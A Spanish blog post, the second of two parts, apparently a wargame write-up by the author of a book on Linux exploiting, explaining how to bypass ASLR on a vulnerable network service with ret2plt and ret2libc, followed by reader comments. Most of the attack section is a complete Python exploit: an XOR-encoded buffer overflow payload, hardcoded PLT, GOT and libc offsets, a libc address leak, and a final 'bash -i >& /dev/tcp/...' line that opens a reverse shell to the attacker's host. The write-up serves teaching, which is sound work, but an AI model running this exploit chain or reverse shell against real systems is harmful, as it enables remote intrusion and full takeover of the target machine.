martes, febrero 18, 2014

Wargames y la alegría de un SegFault (2 de 2)

Ahora procederemos con la segunda fase, lograr la ejecución de código arbitrario. Aquí como siempre suelen existir múltiples caminos y cada uno da rienda suelta a su imaginación. Tras luchar algún tiempo con herramientas como "ROPgadget" y "ropeme", se hace evidente que la sección de texto de la aplicación no contiene demasiados gadgets con los que trabajar, por lo que un ataque ROP habitual no parece sencillo.

En la red puede encontrarse alguna solución con métodos avanzados de ROP en varias fases cuya lectura es altamente recomendable. Mi solución sigue los pasos de la idea expuesta en la última sección del capítulo 7 del libro Linux Exploiting. Aunque algunos consideren que un ataque Return-to-libc o ret2libc no sea turing complete, es decir, que permita todo tipo de computaciones arbitrarias como ROP, si con ello conseguimos obtener una shell de comandos al final el resultado será idéntico, control total sobre el sistema objetivo.

La pregunta es, si ASLR se encuentra activado y la libc se carga en direcciones aleatorias en cada reinicio de la aplicación, ¿de dónde demonios sacamos la dirección de una función como system()? La respuesta se halla en el uso de la técnica ret2plt. Podemos sobreescribir EIP con la dirección de la función write() en la PLT, y pasarle como argumentos: stdout(0x1), la dirección de una entrada en la GOT "resuelta", y el tamaño de la dirección (0x4). El servidor nos enviará de vuelta una dirección de una función perteneciente a la libc a la que podemos restar un offset conocido para obtener la base de la librería.

Una vez con la dirección base en la mano, la función system() también se encontrará en un desplazamiento u offset estático. Curiosamente vamos a obtener la dirección de la misma función write() en la GOT, ya que se trata de una función que ha sido ejecutada por el programa en varias ocasiones y por lo tanto ha sido previamente resuelta. El nuevo payload tiene un aspecto como el siguiente:
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
orig_payload = padding + write_plt + "AAAA" + stdout + write_got + len_to_write
payload = ''
for i in range(len(orig_payload)):
        payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system() : " + str(hex(libc_system))
sleep(0.2)
sk.sendall("Q")
Obteniendo:

Figura 4: Resultado obtenido con este nuevo payload

Alguien podría preguntarse de dónde hemos obtenido los offsets necesarios. No se oculta ningún truco bajo la manga, otra ilustración demuestra que los cálculos no son mágicos.

Figura 5: Offsets

Con la dirección de system() en nuestro poder también necesitamos la dirección de una cadena "sh" que se encuentre en una dirección estática y predecible. La zona de código de la libc seguía pareciendo un lugar adecuado:

Figura 6: búsqueda de la dirección de la cadena sh

La situación que se presenta ahora es la siguiente: tenemos la clave de cifrado para enviar datos al servidor y controlar EIP, tenemos la dirección de la función de librería system() y tenemos la dirección de una cadena "sh". El único problema es que si cerramos el socket y volvemos a empezar desde el principio con los datos obtenidos, la clave de cifrado cambiará con la nueva conexión y tendremos que comenzar el proceso desde cero.

Aunque es un camino totalmente aceptable, una ingeniosa idea vino a mi mente. En el fragmento de script anterior escribimos cuatro caracteres "A" después de la dirección de write() en la PLT, podemos sustituir estos 4 bytes por una dirección de retorno más útil, que resulta ser la dirección de la función encrypt_file(), lo que divertidamente nos lleva de nuevo al ciclo de recepción de datos, todo ello sin cambio de clave de cifrado.

En el siguiente envío de datos podemos volver a explotar el buffer vulnerable y sobreescribir el registro EIP, pero esta vez con la dirección de system() seguido de la dirección de la cadena "sh". El ciclo sería más o menos como el siguiente:
1 – encrypt_file()
2 – write@plt(stdout, &write@got, 4) 3 – encrypt_file()
4 – system("sh")
Una vez la shell sea ejecutada, todos los datos enviados a través del socket serán interpretados como comandos del sistema. Podemos aprovechar esto para ejecutar una shell inversa que se conecte a nuestra máquina. He aquí el exploit final:
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
 
msg = sk.recv(120, MSG_WAITALL)
print "[+] (" + str(len(msg)) + ") " + msg
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(128, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
 
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
encrypt_file = pack("<I", 0x080497f7)
orig_payload = padding + write_plt + encrypt_file + stdout + write_got + len_to_write
 
payload = ''
for i in range(len(orig_payload)):
          payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
 
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system(): " + str(hex(libc_system))
sh_string = libc_base + 0xf41d
print "[+] 'sh': " + str(hex(sh_string))
 
exploit_payload = padding + pack("<I", libc_system) + "AAAA" + pack("<I", sh_string)
payload = ''
for i in range(len(exploit_payload)):
           payload += chr(ord(exploit_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print sk.recv(57, MSG_WAITALL)
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
sk.sendall("id\n")
print "[+] (id): " + sk.recv(10, MSG_WAITALL)
print "[+] Iniciando shell remota inversa..."
sk.sendall("bash -i >& /dev/tcp/192.168.0.11/31337 0>&1\n")
sk.close()
Y llega el momento que te levanta de la silla:

Figura 7: Reto conseguido

Como nota adicional y anécdota que nunca falta en este tipo de wargames, comentar que tras la ejecución del exploit final me tiré 20 minutos sin obtener resultado alguno, hasta darme cuenta finalmente que tenía el firewall activo bloqueando todas las conexiones entrantes. Resulta divertido pensar que el elemento de seguridad que me estaba protegiendo a mí, también estaba protegiendo a mi objetivo, pero por poco tiempo :)

El dinero está bien, pero la vida puede encontrar sentido entre estos pequeños retos. Feliz Hacking!!!

Autor: blackngel autor del libro Linux Exploiting

****************************************************************************************
- Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
- Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************

6 comentarios:

newlog dijo...

Oh, muy bien pensado volver a saltar a la función de cifrado!

También se puede saltar a la función read() para enviarle la siguiente fase del payload y que lo almacene donde tu le digas :)

Saludos, y me alegra leerte ;)

blackngel dijo...

Qué pasa Albert :)

Pensé en la idea de read() y otras, el problema es que cualquier función espera sus argumentos en el stack en la posición que actualmente ocupa la dirección de write en la GOT. Con lo que quizás fuese necesario retornar primero sobre una secuencia de pop, pop, pop, ret antes de llamar a una función que requiera argumentos.

En cambio encrypt_file() se llama sin parámetros y parecía ingeniosa la idea del volver a explotar el buffer por segunda vez. Puede que ese sea el punto bonito de este exploit, en realidad el programa se explota dos veces en un mismo ataque, la primera sobrescritura de EIP es casi a ciegas y la segunda fase lleva toda la información recopilada en la primera :)

Un abrazo!

Alberto García dijo...

Muy muy chulos tus posts!!

Enhorabuena tanto por el libro como por estos artículos!
Un saludo! ;)

newlog dijo...

Ciertamente siguiendo tus pasos, te ahorras un par de dolores de cabeza :)

KISS :P

Anónimo dijo...

Felicidades! Muy bien explicado!

PS: Lo de escoger el puerto 31337 (eleet) es un homenaje al back orifice?

Saludos!

tayoken dijo...

Toma Chema,

Metadatos de los que te gustan

http://www.lasexta.com/programas/al-rojo-vivo/noticias/rendueles-huella-digital-documento-que-defiende-infanta-horrach_2014021700173.html

Entrada destacada

Infraestructuras Críticas y Sistemas Industriales: Auditorías de Seguridad y Fortificación de @0xWord

Desde hoy está disponible a la venta un nuevo libro de 0xWord centrado en la seguridad de los Sistemas Industriales y las Infraestructuras...

Entradas populares